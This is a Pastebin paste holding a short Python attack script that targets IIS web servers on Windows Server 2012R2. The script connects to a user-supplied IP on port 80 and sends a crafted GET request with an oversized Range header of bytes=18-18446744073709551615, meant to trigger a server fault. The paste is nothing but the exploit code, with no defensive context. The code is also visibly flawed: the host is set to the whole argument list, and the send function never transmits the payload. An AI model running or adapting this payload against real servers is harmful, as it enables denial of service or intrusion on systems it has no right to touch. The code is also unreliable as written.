a guest Apr 15th, 2015 3,499 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
- #Tested on Win Srv 2012R2.
- import socket,sys
- if len(sys.argv)<=1:
- sys.exit('Give me an IP')
- Host = sys.argv
- def SendPayload(Payload, Host):
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((Host, 80))
- #Make sure iisstart.htm exist.
- Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
- Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
- SendPayload(Init, Host)
- SendPayload(Payload, Host)
RAW Paste Data